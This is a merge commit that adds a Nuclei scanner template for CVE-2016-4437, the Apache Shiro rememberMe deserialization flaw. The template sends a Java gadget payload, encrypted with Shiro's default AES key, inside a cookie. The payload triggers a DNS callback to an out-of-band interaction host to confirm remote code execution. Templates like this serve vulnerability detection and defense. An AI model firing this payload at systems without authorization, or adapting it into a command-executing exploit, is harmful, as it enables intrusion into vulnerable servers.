Merge pull request #7213 from projectdiscovery/princechaddha-patch-2

Added CVE-2016-4437

http/cves/2016/CVE-2016-4437.yaml

@@ -0,0 +1,35 @@
+id: CVE-2016-4437
+
+info:
+  name: Apache Shiro 1.2.4 Cookie RememberME - Deserial Remote Code Execution Vulnerability
+  author: iamnoooob,rootxharsh,pdresearch
+  severity: high
+  description: |
+    Apache Shiro before 1.2.5, when a cipher key has not been configured for the "remember me" feature, allows remote attackers to execute arbitrary code or bypass intended access restrictions via an unspecified request parameter.
+  reference:
+    - https://github.com/Medicean/VulApps/tree/master/s/shiro/1
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4437
+    - http://packetstormsecurity.com/files/137310/Apache-Shiro-1.2.4-Information-Disclosure.html
+    - http://packetstormsecurity.com/files/157497/Apache-Shiro-1.2.4-Remote-Code-Execution.html
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.1
+    cve-id: CVE-2016-4437
+    cwe-id: CWE-284
+    epss-score: 0.9748
+    cpe: cpe:2.3:a:apache:shiro:*:*:*:*:*:*:*:*
+  tags: cve,cve2016,apache,shiro,rce,deserialization,oast,kev
+
+http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        Cookie: rememberMe={{base64(concat(base64_decode("QUVTL0NCQy9QS0NTNVBhZA=="),aes_cbc(base64_decode(generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")), base64_decode("kPH+bIxk5D2deZiIxcaaaA=="), base64_decode("QUVTL0NCQy9QS0NTNVBhZA=="))))}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - dns